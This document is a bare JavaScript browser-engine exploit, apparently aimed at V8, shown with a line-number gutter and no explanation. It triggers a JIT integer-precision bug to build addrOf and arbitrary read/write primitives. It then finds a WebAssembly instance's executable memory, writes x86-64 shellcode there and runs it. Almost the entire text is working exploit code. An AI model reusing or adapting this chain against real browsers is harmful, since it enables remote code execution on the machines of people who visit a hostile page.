1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| var buffer = new ArrayBuffer(0x10); var bigUnit64 = new BigInt64Array(buffer); var float64 = new Float64Array(buffer);
function ftoi(value){ float64[0] = value; return bigUnit64[0]; }
function itof(value){ bigUnit64[0] = value; return float64[0]; }
function hex(value){ return "0x" + value.toString(16); }
function ftoh(value){ return hex(ftoi(value)); }
function ftoa(value){ return ftoi(value) >> 1n << 1n; }
function atof(value){ return itof(value | 1n); }
function f(trigger, idx, obj){ let double_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9]; let obj_arr = [{}]; let x = trigger == 0 ? 9007199254740989 : 9007199254740992; x = x + 1 + 1; x -= 9007199254740991; x *= 6; obj_arr[idx] = obj; return ftoa(double_arr[x]); }
for(let i = 0; i < 0x10000; i++){ f(0, 0, {}); }
var rw_buffer = new ArrayBuffer(0x100);
function g(trigger, idx, addr) { let double_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9]; let result = new Float64Array(rw_buffer); let x = trigger == 0 ? 9007199254740989 : 9007199254740992; x = x + 1 + 1; x -= 9007199254740991; x *= 7; trigger = result[idx]; double_arr[x] = itof(addr); return result; }
for(let i = 0; i < 0x10000; i++){ g(0, 0, 0n); }
function addrOf(obj){ return f(1, 0, obj); }
function get_arr(addr){ if (addr % 2n == 0){ addr += 1n; } return g(1, 0, addr); } var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule); var wasmInstance_addr = addrOf(wasmInstance); console.log("wasm instance address: ", hex(wasmInstance_addr));
var tmp_arr = get_arr(wasmInstance_addr);
var wasm_addr = ftoa(tmp_arr[0x1d]) << 8n; console.log("wasm address: " + hex(wasm_addr));
var win_owob = get_arr(wasm_addr);
var shellcode = [ 0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n, 0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n, 0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n, 0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n, ]; for (let i = 0; i < shellcode.length; i++){ win_owob[i] = itof(shellcode[i]); } wasmInstance.exports.main();
|